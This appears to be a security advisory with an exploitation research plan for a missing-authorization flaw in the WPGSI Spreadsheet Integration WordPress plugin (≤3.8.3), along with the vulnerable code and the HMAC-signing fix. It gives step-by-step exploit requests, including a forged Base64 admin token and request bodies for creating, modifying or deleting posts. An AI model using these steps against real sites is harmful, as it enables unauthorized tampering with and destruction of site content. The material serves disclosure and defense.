WPGSI: Spreadsheet Integration <= 3.8.3 - Missing Authorization to Unauthenticated Arbitrary Post Creation and Deletion via Forged Base64 Token
Description
The WPGSI: Spreadsheet Integration plugin for WordPress is vulnerable to unauthorized modification and loss of data due to missing capability checks and an insecure authentication mechanism on the `wpgsi_callBackFuncAccept` and `wpgsi_callBackFuncUpdate` REST API functions in all versions up to, and including, 3.8.3. Both REST endpoints use `permission_callback => '__return_true'`, allowing unauthenticated access. The plugin's custom token-based validation relies on a Base64-encoded JSON object containing the user ID and email address, but is not cryptographically signed. This makes it possible for unauthenticated attackers to forge tokens using publicly enumerable information (admin user ID and email) to create, modify, and delete arbitrary WordPress posts and pages, granted they know the administrator's email address and an active integration ID with remote updates enabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.8.4
Source Code
WordPress.org SVN# Vulnerability Analysis: CVE-2024-1916 (WPGSI: Spreadsheet Integration) ## 1. Vulnerability Summary The **WPGSI: Spreadsheet Integration** plugin (up to 3.8.3) contains a critical missing authorization vulnerability combined with an insecure authentication mechanism in its REST API. The plugin reg…
Show full research plan
Vulnerability Analysis: CVE-2024-1916 (WPGSI: Spreadsheet Integration)
1. Vulnerability Summary
The WPGSI: Spreadsheet Integration plugin (up to 3.8.3) contains a critical missing authorization vulnerability combined with an insecure authentication mechanism in its REST API. The plugin registers two REST API endpoints (/wpgsi/accept and /wpgsi/update) intended for remote updates from Google Sheets. These endpoints lack proper permission_callback checks (using __return_true) and rely on a "token" that is merely a Base64-encoded JSON object containing user information. Because this token is not cryptographically signed, an unauthenticated attacker can forge a token using publicly enumerable information (Admin ID and Email) to impersonate an administrator and manipulate WordPress posts.
2. Attack Vector Analysis
- Endpoints:
POST /wp-json/wpgsi/accept(Used to transmit the spreadsheet data)GET /wp-json/wpgsi/update(Used to trigger the processing of the transmitted data)
- Vulnerability Type: Missing Authorization / Insecure Authentication (Forged Token).
- Authentication: Unauthenticated. The
permission_callbackfor both routes is set to__return_trueinadmin/class-wpgsi-update.php. - Parameters:
token(Base64-encoded JSON:{"ID": <integration_id>, "UID": <admin_id>, "email": "<admin_email>"})sheetData(2D Array: Rows and columns of data to be synced)
- Preconditions:
- Attacker must know or guess a valid
integration ID(these are IDs of thewpgsiIntegrationcustom post type, which are standard WordPress post IDs). - Attacker must know the administrator's email address (enumerable via
/wp-json/wp/v2/users). - The integration must have "Remote update from Google sheet" enabled.
- Attacker must know or guess a valid
3. Code Flow
- Route Registration: In
admin/class-wpgsi-update.php, thewpgsi_register_rest_route()function registers the endpoints.register_rest_route( 'wpgsi', '/accept', array( 'methods' => 'POST', 'callback' => array($this, 'wpgsi_callBackFuncAccept'), 'permission_callback' => '__return_true', // Vulnerability: No check ) ); - Token Processing: The
wpgsi_callBackFuncAccept($data)function receives the request.- It extracts
token:$jsonString = @base64_decode( $data['token'] ); - It decodes JSON:
$updateInfo = json_decode( $jsonString, TRUE ); - It validates that
UIDandemailcorrespond to a real user:$userData = get_userdata( wp_kses_post( $updateInfo['UID'] ) ); // The check only confirms the user exists and the ID matches the forged UID.
- It extracts
- Data Persistence: The function saves the
sheetDataprovided in the request into a WordPress option or transient, keyed to the integration ID. - Processing Trigger: The attacker then calls
GET /wp-json/wpgsi/update. This function reads the previously saved data and performs the actual WordPress operations (creating, updating, or deleting posts) based on the mapping configuration defined in thewpgsiIntegrationpost.
4. Nonce Acquisition Strategy
This vulnerability does not require a WordPress nonce. The REST API routes are explicitly registered with permission_callback => '__return_true', effectively bypassing WordPress's internal REST nonce requirement for authenticated actions. The custom "token" used by the plugin is the only security mechanism, and it is forged in the exploitation phase.
5. Exploitation Strategy
Step 1: Enumerate Administrative Information
Find the admin user ID and email.
- Request:
GET /wp-json/wp/v2/users - Target Info: Look for
id(usually1) andemail(if exposed) or guess based on standardadmin@domain.com.
Step 2: Identify a Valid Integration ID
Integrations are stored as wpgsiIntegration posts.
- Method: Brute-force/enumerate post IDs (e.g., 1-100) or check the plugin's log if exposed (
/wp-admin/admin.php?page=wpgsi-settings&action=log- though this requires admin access, unauthenticated enumeration of IDs via theacceptendpoint's responses is possible). - Verification: A valid ID sent to
/wp-json/wpgsi/acceptwith a forged token will return a200or a specific error message rather than a400integration ID error.
Step 3: Forge the Token
Construct a JSON object and Base64 encode it.
{
"ID": 123,
"UID": 1,
"email": "admin@example.com"
}
Encoded: eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9
Step 4: Submit Malicious Sheet Data
The payload must match the integration's column mapping. If the integration maps Column 0 to Post Title and Column 1 to Post Content:
- Request:
POST /wp-json/wpgsi/accept - Headers:
Content-Type: application/json - Body:
{ "token": "eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9", "sheetData": [ ["Column_Title_Row"], ["Vulnerable Post Title", "This content was created via CVE-2024-1916"] ] }
Step 5: Trigger the Update
- Request:
GET /wp-json/wpgsi/update - Response: Expected
202(Accepted/Processing) or200.
6. Test Data Setup
- Plugin Setup: Install WPGSI <= 3.8.3.
- Create Integration:
- Create a "New Integration" in the WPGSI dashboard.
- Set "Data Source" to "WordPress New Post".
- Enable "Remote update from Google sheet".
- Map at least two columns: Column A ->
post_title, Column B ->post_content. - Save and note the Post ID of the integration (e.g., in the URL
id=123).
- Administrator: Ensure user ID 1 has the email
admin@example.com.
7. Expected Results
- Successful Accept: The
acceptendpoint returns a JSON response with"code": "200"and a success message. - Successful Update: The
updateendpoint returns"code": 202or201. - Final Result: A new WordPress post is created with the title "Vulnerable Post Title".
8. Verification Steps
- Check Posts:
wp post list --post_type=post - Verify Content:
wp post get <new_post_id> - Check Plugin Logs: WPGSI keeps internal logs. Check
wp post list --post_type=wpgsi_logto see the remote update trace.
9. Alternative Approaches
- Post Deletion: If the integration is configured for "Sync" or "Delete", include a row in
sheetDatathat matches an existing post ID and provides an "action" or "delete" flag if the integration supports it. - Information Leakage: Attempt to guess Integration IDs by observing the difference between
"integration ID is empty"(302) and"user id is not correct"(303) errors in thewpgsi_callBackFuncAcceptfunction. - SSRF/RCE via Post Content: If the plugin allows updating meta fields or options, use the forged token to update
siteurloractive_plugins(if mapped), though typically this is limited to Post/Page/WooCommerce fields.
Summary
The WPGSI plugin for WordPress is vulnerable to unauthorized data modification and loss due to missing authorization checks and an insecure token-based authentication mechanism in its REST API. An unauthenticated attacker can forge a Base64-encoded token containing a target administrator's ID and email to impersonate them, allowing the attacker to create, update, or delete arbitrary posts via the plugin's spreadsheet integration functionality.
Vulnerable Code
// admin/class-wpgsi-update.php line 96 public function wpgsi_register_rest_route() { # For receiving data and saving that to option table register_rest_route( 'wpgsi', '/accept', array( 'methods' => 'POST', 'callback' => array($this, 'wpgsi_callBackFuncAccept'), 'permission_callback' => '__return_true', ) ); # For updating data site data register_rest_route( 'wpgsi', '/update', array( 'methods' => 'GET', 'callback' => array($this, 'wpgsi_callBackFuncUpdate'), 'permission_callback' => '__return_true', ) ); } --- // admin/class-wpgsi-update.php line 137 # converting data from base64 string $jsonString = @base64_decode( $data['token'] ); # encoding JSON string to PHP array $updateInfo = json_decode( $jsonString, TRUE ); # User information validation; $updateInfo array and isset( ) check for ID, UID, email if ( !is_array( $updateInfo ) or !isset( $updateInfo['ID'], $updateInfo['UID'], $updateInfo['email'] ) ) { // ... error handling } # integration Id if ( empty( $updateInfo['ID'] ) or !is_numeric( $updateInfo['ID'] ) ) { // ... error handling } # Getting the ID $integrationID = wp_kses_post( $updateInfo['ID'] ); # getting user data $userData = get_userdata( wp_kses_post( $updateInfo['UID'] ) ); # User ID check see user if ( !is_array( $userData ) and $updateInfo['UID'] != $userData->data->ID ) { // ... (vulnerable check: only validates user existence and ID match, no signature check)
Security Fix
@@ -1059,7 +1062,10 @@ # User Email $userBase64TokenArr['email'] = $current_user->data->user_email; # Creating token; - $userToken = base64_encode( json_encode( $userBase64TokenArr ) ); + # Fix: Base64 encode the payload to prevent dots in JSON interfering with structural dot separator + $payload = base64_encode( json_encode( $userBase64TokenArr ) ); + $signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) ); + $userToken = base64_encode( $payload . '.' . $signature ); # Check and Balance. if ( !empty( $userToken ) ) { $sheetData = @json_decode( $Integrations->post_excerpt, TRUE ); @@ -96,17 +96,86 @@ register_rest_route( 'wpgsi', '/accept', array( 'methods' => 'POST', 'callback' => array($this, 'wpgsi_callBackFuncAccept'), - 'permission_callback' => '__return_true', + 'permission_callback' => array($this, 'wpgsi_permission_check'), + 'args' => array( + 'token' => array( + 'required' => true, + 'type' => 'string', + ), + ), ) ); # For updating data site data register_rest_route( 'wpgsi', '/update', array( 'methods' => 'GET', 'callback' => array($this, 'wpgsi_callBackFuncUpdate'), - 'permission_callback' => '__return_true', + 'permission_callback' => array($this, 'wpgsi_permission_check'), + 'args' => array( + 'token' => array( + 'required' => true, + 'type' => 'string', + ), + ), ) ); } /** + * Permission callback for REST routes + */ + public function wpgsi_permission_check( $request ) { + $token = $request->get_param( 'token' ); + // ... header/param logic + $decoded = base64_decode( $token ); + if ( false === $decoded || strpos( $decoded, '.' ) === false ) { + return new WP_Error('rest_forbidden', 'Invalid token format', array('status' => 401)); + } + list( $payload, $signature ) = explode( '.', $decoded, 2 ); + $expected_signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) ); + if ( hash_equals( $expected_signature, $signature ) ) { + return true; + } + return new WP_Error('rest_forbidden', 'Signature Mismatch.', array('status' => 401)); + }
Exploit Outline
1. Enumerate the target WordPress site's administrator user ID and email via the public REST API endpoint (/wp-json/wp/v2/users). 2. Identify a valid Integration ID by enumerating numeric IDs for the 'wpgsiIntegration' custom post type (or observing error responses from the /wpgsi/accept endpoint). 3. Construct a malicious JSON payload: {"ID": [integration_id], "UID": [admin_id], "email": "[admin_email]"}. 4. Base64-encode this JSON string to create a forged token. 5. Send a POST request to /wp-json/wpgsi/accept with the forged token and a 'sheetData' array containing rows of malicious content (e.g., a new post title and content mapped to columns). 6. Send a GET request to /wp-json/wpgsi/update using the same forged token to trigger the plugin to process the previously submitted data, resulting in the creation or modification of WordPress posts.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.